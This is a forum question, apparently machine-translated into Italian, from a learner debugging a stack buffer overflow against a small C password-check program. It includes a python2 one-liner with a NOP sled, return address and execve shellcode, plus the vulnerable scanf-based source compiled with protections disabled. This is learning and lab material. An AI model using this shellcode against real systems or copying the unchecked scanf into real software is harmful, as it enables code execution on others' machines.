Problema Comprendendo la struttura di BufferOverflow Payload

0

Ho lavorato su un problema di overflow del buffer per circa un giorno, ho deciso di chiedere aiuto ai professionisti!

Questo buffer overflow utilizza la funzione "scanf" per accettare l'input dell'utente e passarlo a una funzione void chiamata validate!

Ora sono curioso di sapere perché quando di solito costruisco un payload sembra come questo

NOP's + "SHELLCODE+ RET

Ma con questo Puzzle sembra essere costruito così

NOP's + RET + SHELLCODE + NOP's

Ecco il codice attuale ...  #payload 27_Bytes

 python2 -c 'print "\x90"*132+"\xc8\xd8\xff\xff"+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+"D"*41'>buf_test

quindi eseguo:

run < buf_test

e ottengo sigfault all'indirizzo 0xffffd8fc non 0xffffd8c8 ma quando sostituisco il RET con \ x51 * 4 ottengo sigfault all'indirizzo x51. Inoltre, anche quando sovrascrivo perfettamente l'indirizzo di EIP, la mia shell non si apre ... SIGFAULTS al RET che ho fornito.

e quando disassegno quell'indirizzo al SIGFAULT vedo l'assemblaggio e lì circa 3-4 volte alcune funzioni sono etichettate BAD ...

Quindi la mia domanda è che questo ha a che fare con personaggi cattivi o ho appena sbagliato la struttura? Se è così esiste un modo migliore per capire la struttura oltre al mio metodo di prova ed errore? ... Forse i NOP dopo il codice della shell lo stanno rovinando? Non penso sia ... sto usando GDB, aggiornato ad Archlinux

Linux windows 4.14.15-1-ARCH #1 SMP PREEMPT Tue Jan 23 21:49:25 UTC 2018 x86_64 GNU/Linux

Metodo di compilazione:

gcc -m32 -fno-pie -no-pie -g bof.c -fno-stack-protector -z execstack -o bof32

GCC_VERSION:

gcc (GCC) 7.2.1 20180116

Codice sorgente vulnerabile:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void validate(char *pass) {
    if (strcmp(pass, "[REDACTED]") == 0) {
        printf("ACCESS GRANTED!");
        printf("Oh that's just idio... Oh my god!\n");
    } else {
        printf("Damn it, I had something for this...\n");
    }
}

int main(int argc, char** argv) {
    char password[200];
    printf("C:/ENTER PASSWORD: ");
    scanf("%s", password);
    validate(password);
    return 0;
}

Per favore, qualsiasi aiuto sulla mia strada per l'apprendimento sarà molto apprezzato.   Grazie in anticipo.

    
posta zeroskilz 31.01.2018 - 01:01
fonte

0 risposte

Leggi altre domande sui tag